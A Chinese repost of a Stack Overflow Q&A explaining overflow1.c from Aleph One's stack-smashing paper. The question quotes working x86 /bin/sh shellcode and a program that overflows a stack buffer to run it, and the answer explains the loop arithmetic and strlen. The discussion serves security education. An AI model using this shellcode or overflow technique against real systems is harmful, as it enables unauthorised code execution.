gpt4 book ai didi

c - 了解 Aleph One 的第一个缓冲区溢出漏洞

转载 作者:行者123 更新时间:2023-11-30 15:26:12 26 4
gpt4 key购买 nike

我正在阅读 Aleph one 的《Smashing The Stack For Fun And Profit》,并到达了这个位置:

overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}

现在,我了解了该漏洞背后的所有理论:shellcode[] 位于数据段(可写)中,包含生成 shell 的代码。

除了将 main 的返回地址覆盖到缓冲区的开头之外,我们还希望将其内容复制到 main 的缓冲区(以便执行控制将由我们的“生成 shell”代码进行。我们通过复制shellcodelarge_string[] 缓冲区(第二个 for 循环),large_sting[] 的其余部分(???)将包含缓冲区的地址(第一个 for 循环)。

当然,main的返回地址将被该缓冲区的地址覆盖,因为我们将large_string[]复制到buffer[](strcpy )。

我的问题在于漏洞利用的小细节:

<小时/>

1.)

为什么第一个for循环是从i=0i=31?我的意思是,考虑指针算术,它是如何工作的? [large_string[] 只有 128 字节]

2.)

什么是srlen(shellcode)

<小时/>

我想对这类事情进行一些清理。

谢谢!

最佳答案

1) Why does the first for-loop is from i=0 to i=31? I mean, considering the pointer arithmetic, how does it work? [large_string[] is only 128 bytes]

它一次复制四个字节(它依赖于知道目标平台上的 sizeof(int)4),并且 32 * 4 = = 128

2) What is srlen(shellcode)?

它是 shellcode 中的字节数(这依赖于 shellcode 不包含嵌入的 \0 字符)。

关于c - 了解 Aleph One 的第一个缓冲区溢出漏洞,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27469015/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com